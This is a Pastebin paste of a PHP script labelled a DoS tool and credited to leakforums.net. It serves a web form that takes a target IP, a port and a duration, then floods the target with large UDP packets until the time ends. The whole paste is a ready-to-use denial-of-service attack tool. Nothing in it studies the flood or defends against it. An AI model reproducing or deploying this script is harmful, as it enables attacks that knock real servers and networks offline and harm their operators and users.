SHARE
TWEET

PHP DoS Script

talama May 7th, 2017 286 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. // <--> Bastian by leakforums.net
  3. set_time_limit(0);
  4. ignore_user_abort(false);
  5. echo '<h2>//PHP\\ DoS Script by Bastian</h2>';
  6. if (!function_exists('fsockopen')):
  7. die('The Function "fsockopen" couldn't be found! (PHP v'.phpversion().')');
  8. endif;
  9. if (isset($_POST['startdos'])):
  10. $duration = intval(trim($_POST['time']));
  11. $target = trim($_POST['target']);
  12. $port = intval(trim($_POST['port']));
  13. if (!empty($duration) && !empty($target) && !empty($port)):
  14. $limit = time() + $duration;
  15. $payload = '';
  16. $packets = 0;
  17. for ($i=0; $i < 65535; $i++): $payload .= "X"; endfor;
  18. while (1):
  19. $packets++;
  20. if (time() > $limit): break; endif;
  21. $socks = @fsockopen('udp://'.$target, $port, $errno, $errstr, 5);
  22. if ($socks):
  23. @fwrite($socks, $payload);
  24. @fclose($socks);
  25. endif;
  26. endwhile;
  27. echo '<b style="color:#0B6121">The DoS Attack was succefully executed!</b><br />';
  28. echo $packets.' Packets ('.round(($packets*65)/1024, 2).' MB) with '.round($packets/$duration, 2).' Inquire per seconds';
  29. else: echo '<p><b>Error:</b> Please fill in everything!</p>';
  30. endif;
  31. else:
  32. echo '<form action="" method="post" style="margin:20px">';
  33. echo '<input type="text" name="target" placeholder="IP-Adress" style="width:120px; display:block; margin:0 0 10px 0; padding:5px" />';
  34. echo '<input type="text" name="port" placeholder="opened Port" maxlength="5" style="width:100px; display:block; margin:0 0 10px 0; padding:5px" />';
  35. echo '<input type="text" name="time" placeholder="DoS Attack Time (in seconds)" style="width:150px; display:block; padding:5px" />';
  36. echo '<input type="submit" name="startdos" value="Start the DoS Attack" style="margin:10px 0 0 0; background:#fff; border:1px solid #999" />';
  37. echo '</form>';
  38. endif;
  39. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top